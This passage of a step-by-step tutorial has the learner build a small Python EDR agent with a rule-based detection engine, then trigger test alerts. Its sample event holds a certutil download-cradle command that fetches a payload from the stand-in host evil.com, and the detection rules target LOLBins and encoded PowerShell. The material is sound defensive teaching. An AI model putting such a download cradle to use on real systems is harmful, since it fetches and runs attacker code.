The test creates a fake certutil.exe process creation event and runs it through the engine. Since certutil.exe is in the LOLBin rule's conditions, you should see an alert fire. This proves the engine can match events to rules correctly.

  • Save detection_engine.py.
  • Run the detection engine test by running:
python detection_engine.py
  • You should see all 5 rules listed, followed by [ALERT] Suspicious Process - LOLBin Execution - high confirming the engine correctly matched the test event.

Seeing a FileNotFoundError?

  • Make sure rules.json is saved in the same folder as detection_engine.py. The engine loads it by filename, so both files must be in your mini-edr directory.
  • Check that your terminal's working directory is mini-edr. Run cd mini-edr if you navigated elsewhere.

Why is my detection engine throwing a FileNotFoundError?

✔️ Awesome, I've got everything!

Great. Make sure you have saved detection_engine.py before moving on.

ⓧ I'd like to double check the full code

import json
from datetime import datetime


class DetectionEngine:
    def __init__(self, rules_file):
        with open(rules_file, "r") as f:
            self.rules = json.load(f)

    def evaluate(self, event):
        """Evaluate an event against all rules. Returns list of alerts."""
        alerts = []
        event_type = event.get("event_type", "")

        for rule in self.rules.get("rules", []):
            if rule["event_type"] != event_type:
                continue

            if self._matches_rule(event, rule):
                alert = {
                    "timestamp": datetime.now().isoformat(),
                    "rule_name": rule["name"],
                    "severity": rule["severity"],
                    "description": rule["description"],
                    "event": event,
                }
                alerts.append(alert)

        return alerts

    def _matches_rule(self, event, rule):
        """Check if an event matches a rule's conditions."""
        conditions = rule.get("conditions", {})

        for field, pattern in conditions.items():
            value = str(event.get(field, "")).lower()
            if isinstance(pattern, list):
                if not any(p.lower() in value for p in pattern):
                    return False
            else:
                if pattern.lower() not in value:
                    return False

        return True


if __name__ == "__main__":
    engine = DetectionEngine("rules.json")
    print(f"[*] Loaded {len(engine.rules.get('rules', []))} detection rules:")
    for rule in engine.rules.get("rules", []):
        print(f"    - [{rule['severity'].upper()}] {rule['name']}")

    print("\n[*] Testing with a sample event...")
    test_event = {
        "event_type": "process_creation",
        "name": "certutil.exe",
        "pid": 1234,
        "ppid": 5678,
        "username": "testuser",
        "cmdline": "certutil.exe -urlcache -f http://evil.com/payload.exe",
    }
    alerts = engine.evaluate(test_event)
    if alerts:
        for alert in alerts:
            print(f"    [ALERT] {alert['rule_name']} - {alert['severity']}")
    else:
        print("    No alerts triggered.")

All three telemetry pillars are now built, and your detection engine can evaluate events against configurable rules. In the next step, you will assemble everything into a single running agent that monitors your endpoint in real-time.

Assemble and Run the Full EDR Agent

You have four independent modules that each collect a different type of telemetry. Commercial EDR products like CrowdStrike Falcon and Microsoft Defender for Endpoint tie their collectors together with an orchestration layer that feeds every event through a detection engine.

In this step, you will build that orchestration layer. The main agent script imports all four modules, runs them in a continuous loop, and passes every event through the detection engine to fire alerts in real-time.

In this step, get ready to:
  • Create the main EDR agent orchestrator that ties all monitors and the detection engine together.
  • Run the agent as Administrator and observe the initialization summary.
  • Trigger live alerts by simulating suspicious activity on your endpoint.
Create the EDR agent orchestrator

The agent script is the central coordinator. It initializes each monitor, takes baseline snapshots of processes and network connections, starts the file watcher, then enters a polling loop that checks all three telemetry sources every 2 seconds.

  • Create a new file called edr_agent.py inside your mini-edr folder.
  • Add the imports and banner constant by pasting this code:
import os
import sys
import time
import json
from datetime import datetime

from process_monitor import ProcessMonitor
from file_monitor import FileMonitor
from network_monitor import NetworkMonitor
from detection_engine import DetectionEngine


BANNER = """
+==========================================+
|         Mini EDR Agent v1.0              |
|   Endpoint Detection & Response          |
+==========================================+
"""

What does this code do?

The imports pull in your four custom modules (ProcessMonitor, FileMonitor, NetworkMonitor, DetectionEngine) alongside standard library modules for file paths, timing, and timestamps.

The BANNER constant prints a header when the agent starts, giving it a professional feel similar to commercial security tools.

  • Below the BANNER, add the alert formatting function:
def print_alert(alert):
    """Display a formatted alert."""
    severity_markers = {
        "critical": "[!!!]",
        "high": "[!!]",
        "medium": "[!]",
        "low": "[.]",
    }
    marker = severity_markers.get(alert["severity"], "[?]")
    print(f"\n{'='*60}")
    print(f"  {marker} ALERT: {alert['rule_name']}")
    print(f"  Severity: {alert['severity'].upper()}")
    print(f"  Time: {alert['timestamp']}")
    print(f"  Description: {alert['description']}")
    print(f"  Event Data:")
    for key, value in alert["event"].items():
        if key != "timestamp":
            print(f"    {key}: {value}")
    print(f"{'='*60}")

What does this function do?

When the detection engine fires an alert, this function formats it into a visible box in your terminal. The severity_markers dictionary maps each threat level to a visual indicator so critical alerts stand out immediately.

  • Below the print_alert function, add the main orchestration function and entry point:
def main():
    print(BANNER)
    print(f"[*] Starting EDR Agent at {datetime.now().isoformat()}")
    print("[*] Initializing monitors...")

    # Initialize components
    process_monitor = ProcessMonitor()
    network_monitor = NetworkMonitor()

    # Configure paths to watch
    watch_paths = []

    user_startup = os.path.expandvars(
        r"%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
    )
    if os.path.exists(user_startup):
        watch_paths.append(user_startup)

    temp_path = os.path.expandvars(r"%TEMP%")
    if os.path.exists(temp_path):
        watch_paths.append(temp_path)

    file_monitor = FileMonitor(watch_paths)
    detection_engine = DetectionEngine("rules.json")

    # Take initial snapshots
    process_snapshot = process_monitor.get_process_snapshot()
    network_connections = network_monitor.get_connections_snapshot()

    # Start file monitoring
    file_monitor.start()

    rule_count = len(detection_engine.rules.get("rules", []))
    print(f"[*] Process monitor: active (tracking {len(process_snapshot)} processes)")
    print(f"[*] File monitor: watching {len(watch_paths)} paths")
    for path in watch_paths:
        print(f"      - {path}")
    print(f"[*] Network monitor: active ({len(network_connections)} connections)")
    print(f"[*] Detection engine: {rule_count} rules loaded")
    print(f"\n[*] EDR Agent is running. Press Ctrl+C to stop.\n")

    alert_count = 0

    try:
        while True:
            # Check for new processes
            proc_events, process_snapshot = process_monitor.run_once(
                process_snapshot
            )
            for event in proc_events:
                alerts = detection_engine.evaluate(event)
                for alert in alerts:
                    print_alert(alert)
                    alert_count += 1

            # Check for file events
            file_events = file_monitor.get_events()
            for event in file_events:
                alerts = detection_engine.evaluate(event)
                for alert in alerts:
                    print_alert(alert)
                    alert_count += 1

            # Check for new network connections
            net_events, network_connections = network_monitor.run_once(
                network_connections
            )
            for event in net_events:
                alerts = detection_engine.evaluate(event)
                for alert in alerts:
                    print_alert(alert)
                    alert_count += 1

            time.sleep(2)

    except KeyboardInterrupt:
        print(f"\n[*] Shutting down EDR Agent...")
        print(f"[*] Total alerts fired: {alert_count}")
        file_monitor.stop()
        print("[*] Agent stopped. Stay safe out there.")


if __name__ == "__main__":
    main()

What does this code do?

  • The initialization section creates each monitor, builds a list of paths to watch (the user Startup folder and TEMP directory), and takes baseline snapshots of processes and network connections.
  • The while True loop polls all three monitors every 2 seconds. Each batch of events gets fed through detection_engine.evaluate() to check against your rules.
  • The KeyboardInterrupt handler ensures a clean shutdown when you press Ctrl+C, stopping the file observer thread and printing the total alert count.
  • Save edr_agent.py.

Seeing a syntax error when you save?

Make sure the f-string curly braces in the print statements are not accidentally escaped. Check that the triple-quoted BANNER string has matching opening and closing triple quotes.

help me fix a syntax error in my edr_agent.py file

✔️ Awesome, I've got everything!

Great. Double check you have saved your file before moving on.

ⓧ I'd like to double check the full code

import os
import sys
import time
import json
from datetime import datetime

from process_monitor import ProcessMonitor
from file_monitor import FileMonitor
from network_monitor import NetworkMonitor
from detection_engine import DetectionEngine


BANNER = """
+==========================================+
|         Mini EDR Agent v1.0              |
|   Endpoint Detection & Response          |
+==========================================+
"""


def print_alert(alert):
    """Display a formatted alert."""
    severity_markers = {
        "critical": "[!!!]",
        "high": "[!!]",
        "medium": "[!]",
        "low": "[.]",
    }
    marker = severity_markers.get(alert["severity"], "[?]")
    print(f"\n{'='*60}")
    print(f"  {marker} ALERT: {alert['rule_name']}")
    print(f"  Severity: {alert['severity'].upper()}")
    print(f"  Time: {alert['timestamp']}")
    print(f"  Description: {alert['description']}")
    print(f"  Event Data:")
    for key, value in alert["event"].items():
        if key != "timestamp":
            print(f"    {key}: {value}")
    print(f"{'='*60}")


def main():
    print(BANNER)
    print(f"[*] Starting EDR Agent at {datetime.now().isoformat()}")
    print("[*] Initializing monitors...")

    # Initialize components
    process_monitor = ProcessMonitor()
    network_monitor = NetworkMonitor()

    # Configure paths to watch
    watch_paths = []

    user_startup = os.path.expandvars(
        r"%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
    )
    if os.path.exists(user_startup):
        watch_paths.append(user_startup)

    temp_path = os.path.expandvars(r"%TEMP%")
    if os.path.exists(temp_path):
        watch_paths.append(temp_path)

    file_monitor = FileMonitor(watch_paths)
    detection_engine = DetectionEngine("rules.json")

    # Take initial snapshots
    process_snapshot = process_monitor.get_process_snapshot()
    network_connections = network_monitor.get_connections_snapshot()

    # Start file monitoring
    file_monitor.start()

    rule_count = len(detection_engine.rules.get("rules", []))
    print(f"[*] Process monitor: active (tracking {len(process_snapshot)} processes)")
    print(f"[*] File monitor: watching {len(watch_paths)} paths")
    for path in watch_paths:
        print(f"      - {path}")
    print(f"[*] Network monitor: active ({len(network_connections)} connections)")
    print(f"[*] Detection engine: {rule_count} rules loaded")
    print(f"\n[*] EDR Agent is running. Press Ctrl+C to stop.\n")

    alert_count = 0

    try:
        while True:
            # Check for new processes
            proc_events, process_snapshot = process_monitor.run_once(
                process_snapshot
            )
            for event in proc_events:
                alerts = detection_engine.evaluate(event)
                for alert in alerts:
                    print_alert(alert)
                    alert_count += 1

            # Check for file events
            file_events = file_monitor.get_events()
            for event in file_events:
                alerts = detection_engine.evaluate(event)
                for alert in alerts:
                    print_alert(alert)
                    alert_count += 1

            # Check for new network connections
            net_events, network_connections = network_monitor.run_once(
                network_connections
            )
            for event in net_events:
                alerts = detection_engine.evaluate(event)
                for alert in alerts:
                    print_alert(alert)
                    alert_count += 1

            time.sleep(2)

    except KeyboardInterrupt:
        print(f"\n[*] Shutting down EDR Agent...")
        print(f"[*] Total alerts fired: {alert_count}")
        file_monitor.stop()
        print("[*] Agent stopped. Stay safe out there.")


if __name__ == "__main__":
    main()
Run the agent as Administrator

The network monitor needs elevated privileges to see connections from all processes on Windows. Without Administrator access, it only reports connections for your current user.

  • Press the Windows key to open your search bar.
  • Type cmd and select Run as administrator.
  • Click Yes on the User Account Control prompt.
  • Navigate to your project folder by running:
cd %USERPROFILE%\Desktop\mini-edr
  • Start the EDR agent by running:
python edr_agent.py

You should see the banner print, followed by an initialization summary showing the process count, watched paths, active connections, and loaded rules.

What should I see?

The agent prints a status line for each monitor. You should see something like:

[*] Process monitor: active (tracking 180 processes)
[*] File monitor: watching 2 paths
      - C:\Users\YourName\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
      - C:\Users\YourName\AppData\Local\Temp
[*] Network monitor: active (45 connections)
[*] Detection engine: 5 rules loaded

[*] EDR Agent is running. Press Ctrl+C to stop.

Your exact numbers will differ based on what is running on your machine.

Seeing a ModuleNotFoundError?

Make sure your Administrator command prompt is in the correct folder. All six files (edr_agent.py, process_monitor.py, file_monitor.py, network_monitor.py, detection_engine.py, rules.json) must be in the same directory.

help me fix a ModuleNotFoundError in my EDR agent

Trigger test alerts to see the agent in action

Your agent is now monitoring. To prove the detection engine works, you will trigger three of the five rules by simulating suspicious activity in a separate terminal window.

  • Keep the agent running in its current terminal.
  • Open a second command prompt (does not need to be Administrator).
  • Trigger the LOLBin detection rule by running:
certutil

Switch back to your agent terminal. Within 2 seconds, you should see an alert box appear with the severity marker [!!] and the rule name "Suspicious Process - LOLBin Execution".

  • Back in your second terminal, trigger the persistence detection rule by running:
echo test > "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\test_edr.txt"

Your agent should fire a "File Created in Startup Folder" alert with high severity.

  • Trigger the encoded PowerShell detection rule by running:
powershell -enc dGVzdA==

This fires the critical-severity alert "Suspicious Process - PowerShell with Encoded Command" because the -enc flag matches the rule condition. The base64 string dGVzdA== decodes to "test" so it is harmless.

Why do these rules matter?

These rules map directly to MITRE ATT&CK techniques used by real malware. certutil.exe is abused as a download cradle (T1105). Encoded PowerShell hides malicious commands (T1059.001). The Startup folder is a classic persistence mechanism (T1547.001).

  • Clean up the test file you created in the Startup folder by running:
del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\test_edr.txt"
  • Switch back to the agent terminal and press Ctrl+C to stop the agent.

The agent prints a shutdown message and the total number of alerts fired during the session.

Not seeing any alerts fire?

Make sure you run the test commands in a separate terminal while the agent is still running. The agent only detects new processes that appear after it starts.

If the Startup folder alert does not fire, check that the path exists on your system. Some Windows editions have a different Startup folder location.

help me debug why my EDR agent is not detecting alerts

Your EDR agent is fully operational. You have a working endpoint security tool that monitors processes, files, and network connections in real-time. Next up, the Secret Mission challenges you to add process tree analysis for detecting suspicious parent-child relationships.

Secret mission

Add Process Tree Detection

Your EDR agent detects suspicious processes, but attackers are clever. They use trusted applications like Microsoft Word to spawn malicious shells. Can you teach your agent to detect suspicious parent-child process relationships?

Clean Up Your Resources

Clean Up Your Resources

This project runs entirely locally on your machine, so there are no ongoing costs. Decide whether to keep your files for future experimentation, or delete them entirely.

Resources you used:

  • The mini-edr project folder containing all Python files (edr_agent.py, process_monitor.py, file_monitor.py, network_monitor.py, detection_engine.py, rules.json).
  • Python packages installed via pip: psutil and watchdog.

Keep everything running

No action needed. Choose this if you want to keep experimenting with your EDR agent, adding new rules, or extending the monitors.

  • Your mini-edr folder stays on your Desktop with all files intact.
  • The psutil and watchdog packages remain installed in your Python environment.
  • You can re-run the agent at any time with python edr_agent.py.

Pause - I'll come back to this later

The EDR agent only runs when you start it manually, so there is nothing to pause. Your files will stay on disk until you delete them.

  • Make sure the agent is stopped by pressing Ctrl+C in the terminal where it is running.
  • Close the terminal window.
  • Your project files and installed packages will remain available whenever you want to return.

Delete - I don't want to use this again

Remove all project files and uninstall the Python packages to start fresh.

  • Stop the agent if it is running by pressing Ctrl+C.
  • Delete the mini-edr folder from your Desktop.
  • Uninstall the project packages by running:
pip uninstall psutil watchdog -y

This removes both packages from your Python environment.

Nice Work!

Nice Work!

You just built a working EDR agent from scratch. Welcome to the world of endpoint security engineering.

You've learned how to:

  • Build process, file system, and network monitors that collect real-time endpoint telemetry using psutil and watchdog.
  • Build a detection engine that evaluates telemetry events against JSON-configurable rules using field-level pattern matching.
  • Create real-world detection rules targeting LOLBins, encoded PowerShell, persistence mechanisms, and suspicious network ports.
  • Secret Mission: Added process tree analysis to detect suspicious parent-child process relationships.

Ready to quiz yourself?